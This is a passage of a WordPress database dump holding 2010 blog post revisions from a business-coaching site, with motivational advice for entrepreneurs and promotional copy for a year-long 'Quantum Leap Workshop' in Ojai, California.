genius is found in what you are naturally drawn to–when you love doing something with unbridled passion, chances are you’ll experience no resistance whatsoever. Your genius lies within you and you’ve never been without it.\r\n\r\nEveryone comes factory equipped with unique talents, gifts and capabilities hard-wired into them. The trouble is many people don’t recognize nor believe in these attributes. Many believe, as a result of their conditioning over the course of their lives, they don’t have anything unique to offer the world and settle for conforming to the status quo. Many entrepreneurs never discover the most important aspects of themselves. This is why so many entrepreneurs operate their businesses on the competitive plane–selling price instead of their unique value to command premium pricing and elevate their standing in the marketplace!\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Your genius is a life long expression.</strong>\r\n\r\nBecause your genius is such a natural part of who you are, you probably take it for granted. It’s so natural to you–like breathing–you hardly give it any attention at all. However, with a little introspection, you can recognize the qualities that distinguish what you are naturally gifted at. With this awareness, you now have the power to systematically develop your genius in ways that people will highly value.\r\n\r\nWhen you are operating from your genius, people will seem astonished as you make things look so easy.  The truth is you have been developing your genius throughout your whole life. Even under your awareness, your genius has found ways to express itself in the world.  These are the clues you must follow to bring your genius more present in your daily activities.\r\n\r\n<strong>Your genius is the key to your financial freedom.</strong>\r\n\r\nThe world moves too fast for one brain. We must collaborate with others who are a genius at the things you’re not. When this happens in your business, it becomes a force multiplier in your productivity, effectiveness and confidence. You clearly recognize the genius in others who can help you leverage your value to the world as you help them leverage theirs.\r\n\r\nIt’s a good idea to identify all the activities in your daily life where you feel resistance and frustration. Whatever those activities are, find others who will accomplish these important tasks for you. Build your team of genius colleagues. This leaves you free to concentrate all your creativity in the areas where you will make the greatest contributions of value and build higher value relationships that will bring you ever-greater financial rewards.\r\n\r\n<strong>Own your future now.</strong>\r\n\r\nAny amount of time you spend developing your genius will bring noticeable results in real time. Begin to replace any activity where you have little or no passion, and replace it with activities that bring you the most joy, meaning and satisfaction.  Begin with small things like administrative chores, repetitive tasks, etc. The more layers of stuff you can peel away from your genius, the more clarity and confidence you will have to pursue your best opportunities.\r\n\r\n<strong>Once you begin to fully live in your days from this elevated perspective, the more freedom you will have to keep growing and expanding your opportunities.</strong>\r\n\r\n<em>Editor’s Note: This post is a small taste of the concepts and ideas  we will engage ourselves in during a year-long series of four 2-day <a title="Quantum Leap Workshop Information" href="../2010/10/24/hot-info/" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater   clarity and confidence to define a compelling vision for your future–   and set the foundation to achieve your goal of taking your business to  the next level  in an easy, relaxed, and joyful way. If you are  interesting in  attending, <a href="../contact/" target="_blank">email</a> me directly, or <a title="Quantum Leap Workshop Brochure" href="../2010/10/24/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">download</a> the pdf brochure for details!</em>', 'Focus your attention on your genius delegate everything else.', 0, '', 'inherit', 'open', 'open', '', '1218-revision-12', '', '', '2010-11-16 16:19:18', '2010-11-16 23:19:18', '', 1218, 'http://www.whitehotcenter.com/2010/11/16/1218-revision-12/', 0, 'revision', '', 0),
(1237, 2, '2010-11-19 16:27:23', '2010-11-19 23:27:23', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><strong>Early Registration is open!</strong></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-11-19 16:27:23', '2010-11-19 23:27:23', '', 145, 'http://www.whitehotcenter.com/2010/11/19/145-revision-66/', 0, 'revision', '', 0),
(1238, 2, '2010-11-19 16:28:04', '2010-11-19 23:28:04', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><a href="www.whcquantumleap.com" target="_blank"><strong>Early Registration is open!</strong></a></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="www.whcquantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-11-19 16:28:04', '2010-11-19 23:28:04', '', 145, 'http://www.whitehotcenter.com/2010/11/19/145-revision-67/', 0, 'revision', '', 0),
(1239, 2, '2010-11-19 16:30:46', '2010-11-19 23:30:46', '<span style="color: #808080;"> </span>\r\n\r\n<strong>\r\n</strong>\r\n<h1><a href="http://www.quantumleap.com" target="_blank"><strong>Early Registration is open!</strong></a></h1>\r\n<h2><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></h2>\r\n<span style="color: #ff0000;">\r\n</span>\r\n\r\n<strong>\r\n</strong>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, early-stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life!</span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span>\r\n</span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Take the leap and learn more, visit the official registration site <a href="http://www.quantumleap.com" target="_blank">www.whcquantumleap.com </a></span></span></h2>\r\n<h2 style="text-align: left;"><span style="color: #ff6600;"><span style="color: #000000;">Download the <a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Workshop Brochure</a>. </span></span></h2>\r\n<span style="color: #ff6600;"><span style="color: #000000;"><img class="alignnone size-full wp-image-1112" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2009/04/meditation.a.gif" alt="" width="495" height="246" />\r\n</span></span>\r\n<h1><span style="color: #ff6600;"><span style="color: #000000;"> </span></span><span style="color: #ff6600;"><span style="color: #000000;">Inspirational Resources\r\n</span></span></h1>\r\n<span style="color: #ff6600;"><span style="color: #000000;">\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf"><img class="alignnone size-full wp-image-1093" title="freereport" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></a></span><span style="color: #333333;"><strong>Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable you to have more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></span>\r\n<h2><span style="color: #333333;"><strong><span style="color: #ff6600;"><span style="color: #000000;"> </span></span></strong></span><strong><span style="color: #ff6600;">The White Hot Center highly recommends you check out these great resources for your personal and professional inspiration</span><span style="color: #ff6600;">:</span></strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">oddpodz.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.biznik.com" target="_blank">biznik.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-11-19 16:30:46', '2010-11-19 23:30:46', '', 145, 'http://www.whitehotcenter.com/2010/11/19/145-revision-68/', 0, 'revision', '', 0),
(1242, 2, '2010-11-19 16:39:58', '2010-11-19 23:39:58', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf"><img class="alignnone size-full wp-image-1116" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2010/10/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></a>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2010/10/QLW_intro.mov" target="_blank">Watch my Quantum Leap Workshop Video Introduction!\r\n</a></h2>\r\n<h2>What if you were able to create a space to focus all your creative energy on your burning desire for greater success in your business and achieve it within one year?</h2>\r\n<h1>Now you can!</h1>\r\nI’m delighted to announce to my readers (and the world), the introduction of the White Hot Center Quantum Leap Workshop.  After nearly 18 months of thinking, dreaming, scheming, planning and playing with this idea, it has, at last, come together in the form of a year-long personal and professional development event specifically designed for creative, early-stage entrepreneurs!\r\n\r\nI''ve taken all I''ve learned in my 30 years of business and brand building experience and integrated this knowledge into a structure to help early stage entrepreneurs build a bigger vision for their future and take their businesses to the next level of growth.\r\n<h2><span style="color: #808080;">In March 2011, a select group of 24 forward-thinking, early stage entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their vision for a much bigger, more rewarding future in their business and in their whole life. </span></h2>\r\n<h2><span style="color: #808080;">The   Quantum Leap Workshop is a year-long personal and business development   program designed for forward-thinking entrepreneurs who want more ideas,   clarity, confidence, and velocity to realize their bold vision for a   bigger future–and experience more money, freedom, fulfillment, and joy   in every area of their life!</span></h2>\r\nI hope you will count yourself among them? If so, act now! My intuition tells me this will sell-out very quickly simply because enrollment is limited and the need for entrepreneurs to innovate new visions for their business is so great. In a few weeks (Nov 2010) the workshop website will go live for general enrollment. Prior to that, I’m sharing this information with all of you WHC subscriber readers here on the blog.\r\n\r\n<span style="color: #000000;"> </span>Even the most accomplished entrepreneurs will confess that business success is a life-long journey of change, growth and expansion. Along the road, there are many challenges, obstacles and barriers that limit their forward momentum in creating the future they desire. Every entrepreneur at one time or another gets stuck along the way. Getting stuck is part of the entrepreneurial experience. That’s why I created the Quantum Leap Workshop– to help my fellow entrepreneurs innovate their way through change and growth in an easy and life enhancing manner. If you find yourself stuck at the moment in circumstances that are impeding your business growth and life success, perhaps you’ll consider joining me and your colleagues on this exciting, inspirational journey of learning, growth, support and breakthrough achievement.\r\n\r\nYou will be supported by a small, intimate group of highly motivated, like-minded colleagues and experienced facilitators (who are successful entrepreneurs in their own right).  We’ll be working right along with you– providing a source of inspiration, feedback, creative thinking, support and accountability.  In this supportive environment, you’ll focus your creative energies to develop plans and methods to break free from whatever circumstances you believe are holding you back, and enable you to accomplish two important strategic objectives as the foundation for your business growth within the workshop year:\r\n<h2><span style="color: #ff6600;"><strong>Define, design and commit to a much bigger and grander vision of your future.</strong></span></h2>\r\n<h2><span style="color: #ff6600;"><strong>Master the strategies, tactics and new thinking necessary to shift your energy and actions to realize your vision within a three-year time horizon.</strong></span></h2>\r\n<strong>Workshop Venue and Format</strong>\r\nThe Quantum Leap Workshop is a progressive series of four 2-day workshops held every 90 days in retreat at a private conference venue in the magical and beautiful Ojai Valley nestled minutes from California’s iconic central coast. Ojai is located 90 miles north of Los Angeles, and 35 miles from Santa Barbara.\r\n\r\nBring your most pressing business challenges–whatever has you stuck right now– to this engaging, interactive and supportive learning environment. You’ll have a unique opportunity to focus your energy on creative and innovative strategies to breakthrough barriers within the areas of personal growth, value creation, lifestyle design, personal effectiveness, and methods for creating greater demand for your products and services. Take the leap–you’ll be so glad you did! I’m really looking forward to seeing you here in Ojai in March 2011!\r\n\r\n<img class="alignnone size-full wp-image-1117" title="meditation.a" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.a.gif" alt="" width="495" height="246" />\r\n<img class="alignnone size-full wp-image-1118" title="meditation.b" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.b.gif" alt="" width="495" height="212" />\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif"><img class="alignnone size-full wp-image-1119" title="meditation.c" src="http://whc.fbdev.org/wp-content/uploads/2010/10/meditation.c.gif" alt="" width="495" height="223" /></a>\r\n<h2><a href="http://www.whcquantumleap.com/register.html" target="_blank"><span style="color: #ff0000;">Save $800! Register before December 31, 2010</span></a></h2>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/QuantumLeap-brochure.web_.pdf" target="_blank">Download Conference Information Brochure</a></h2>', 'The Quantum Leap Workshop™ begins March 2011!', 0, '', 'inherit', 'open', 'open', '', '1115-revision-43', '', '', '2010-11-19 16:39:58', '2010-11-19 23:39:58', '', 1115, 'http://www.whitehotcenter.com/2010/11/19/1115-revision-43/', 0, 'revision', '', 0),
(1243, 1, '2010-11-19 18:55:02', '2010-11-20 01:55:02', '', 'whc_mov', 0, '', 'inherit', 'open', 'open', '', 'whc_mov', '', '', '2010-11-19 18:55:02', '2010-11-20 01:55:02', '', 0, 'http://www.whitehotcenter.com/wp-content/uploads/2010/11/whc_mov.jpg', 0, 'attachment', 'image/jpeg', 0),
(1308, 2, '2010-12-13 19:04:27', '2010-12-14 02:04:27', '<img class="alignnone size-full wp-image-1309" title="timeformoney" src="http://whc.fbdev.org/wp-content/uploads/2010/12/timeformoney.gif" alt="never trade time for money" width="450" height="329" />\r\n<h2>Trading your time for money is a  mind-set you can no longer afford. In the new economy unfolding before  you, it''s your ideas that are highly valued–not your time.</h2>\r\nThe fact remains your clients and prospects have an abundant choice of  alternatives to you. There are far too many competitors in the  marketplace today. Being good, even great at what you do is not enough  to differentiate you from the slush pile, and get your business to the  next level–where you’re compensated for your value.\r\n\r\n<strong>Fast and cheap.</strong>\r\n\r\nAs an early-stage entrepreneur, it’s important to remember most  clients will place a low value on your time–and a high value on theirs.  Consequently, these are the clients who get things done fast and cheap.  The bottom line is you’ll only get the gig if you’re the fastest and  cheapest. In a commoditized market, any price will be perceived as too  high. You’ll always be vulnerable to lower cost providers, and have  little if no power influencing the procurement of your services.\r\n\r\nOnly two things release you from the bondage of trading your time for money–\r\n\r\n<em>-       the level of demand for your available time</em>.\r\n\r\n<em>-       the financial value people place on your ideas</em>.\r\n\r\nTime is finite, valuable ideas are infinite. Entrepreneurs, who can  sustain their focus and attention on creativity and innovation in how  they bring value to the marketplace, will be the beneficiaries of all  the new economy has to offer. Those who stay stuck in a commoditized  market, billing their time by the hour, will doom themselves to  order-taker status.\r\n\r\n<strong>Get yourself free at last from the hourly rate mentality.</strong>\r\n\r\nWe are at the very beginning of a new global economic order. In the  wake of this transition, we are witnessing the destruction of old  systems and structures. For many businesses and the people they employ,  the effects have been nothing short of devastating.  As the dust settles  from this disruptive reset, and in the midst of all this uncertainty,  they are many entrepreneurs who are thriving!  Proof that prosperity  doesn’t care about the economy.\r\n\r\nWould you like to know what makes these creative businesses rock, and  how you can get your scene to rock at the next level?  Here are some  ideas that may help you reframe your thinking so you can break free from  the physics of running your business by the clock:\r\n\r\n<strong><em>Do what really matters to you, and really matters to some people.</em></strong>\r\nIn  order for you to sustain the energy required to innovate remarkable  value for your clients, you must engage yourself in only those ideas,  activities and relationships that really matter to you. The lines  between work and play must be dissolved.  Passion, and the emotional  labor that naturally comes with it, are prerequisites for thriving in  the idea economy.\r\n\r\nMore importantly, what really matters to you must serve a specific  group of people–not everyone. Your expertise must be highly specialized  in what you love and serves the higher emotional needs of others in the  marketplace who are just as passionate about your thing as you are. The  days of the generalist are over.  Where ever your passion lies, get  famous for it!\r\n\r\n<strong><em>Good is the new slush pile.</em></strong>\r\nNowadays,  everything and everybody is good. Good enough. Your talent and expertise  is the ante, merely the price of admission. Many people can do what you  do–some even better! Become highly valued for your thinking and your  contributions of value– not through your skills at implementation or  managing process. It is the only way for you to break free from the  restrictions charging by hour sets on your income and the size of your  future.\r\n\r\n<strong><em>Be really different. Make a real difference.</em></strong>\r\nProperly  positioning the value you represent in the minds of clients is the  source code to your financial freedom. You must invest in building your  personal brand, and have it represent something genuine, remarkable, and  highly valued from the alternatives in the marketplace.\r\n\r\nMake a difference (and create opportunity) by providing your value to  those you wish to serve first. Share your expertise–don’t sell it. Most  of all provide more “use” value to your clients than they are paying  you in cash. In other words, whenever your clients value the benefits  they experience working with you more than the value of the money they  are holding, you’ll have made a difference.\r\n\r\n<strong><em>Stop writing proposals, start making them.</em></strong>\r\nWriting  proposals is for suckers. How many times have you written a proposal  for a client-to-be and then you wait, and wait, while your client shops  around looking for a better fit at a lower price? Stop writing proposals  and start making them.\r\n\r\nYour proposal is the expertise you share in conversation with your  prospective client about how best to solve their problem. After you’ve  had the opportunity to assess how best to solve their problem, simply  explain in a deeper conversation, what course of action you’d suggest,  explain the financial investment required of them, and then say ”if we  have a deal, I’ll have my office send you written confirmation of our  conversation and we can begin immediately”!  Your proposals are the  words coming out of your mouth–not something that gathers dust  languishing on someone’s desk!\r\n\r\n<strong><em>Create once, and then reap the rewards again and again.</em></strong>\r\nMany  solo professionals build their practice/business around solving the  same kinds of problems for different clients. Their relationships are  consulting based, not transactional. If this is true for your business,  you probably have tremendous expertise that can be leveraged and offered  to many clients at the same time, indefinitely. Your specific expertise  can be made available in forms where many more clients can benefit from  your value while you are drinking wine in Paris.\r\n\r\n<strong>There has never been a more profound opportunity for you to  exponentially increase your impact, influence and income than right  now!  Ideas are the currency of the new economy. Build your brand around  what you love, share your knowledge for the good of all, and create  high value for others first, and you’ll never fill out a time sheet  again! </strong>\r\n\r\n<strong>Think about how you create value, and in what ways you might be selling yourself short.</strong>\r\n\r\n<span style="color: #333333;"><em>Editor’s Note: This post is a small taste of the concepts and ideas   we will engage ourselves in during a year-long series of four 2-day <a href="http://www.whcquantumleap.com" target="_blank">White Hot Center Quantum Leap Workshops</a> beginning in March 2011. Right from the beginning, you’ll have greater    clarity and confidence to define a compelling vision for your future–    and set the foundation to achieve your goal of taking your business to   the next level  in an easy, relaxed, and joyful way. If you are   interesting in  attending and would like more information, <a href="mailto:thomson@whitehotcenter.com" target="_blank">email</a> me directly!</em></span>', 'In the new economy, it’s your ideas that are highly valued–not your time.', 0, '', 'publish', 'open', 'open', '', 'in-the-new-economy-it%e2%80%99s-your-ideas-that-are-highly-valued%e2%80%93not-your-time', '', '', '2010-12-27 15:46:51', '2010-12-27 22:46:51', '', 0, 'http://www.whitehotcenter.com/?p=1308', 0, 'post', '', 0),
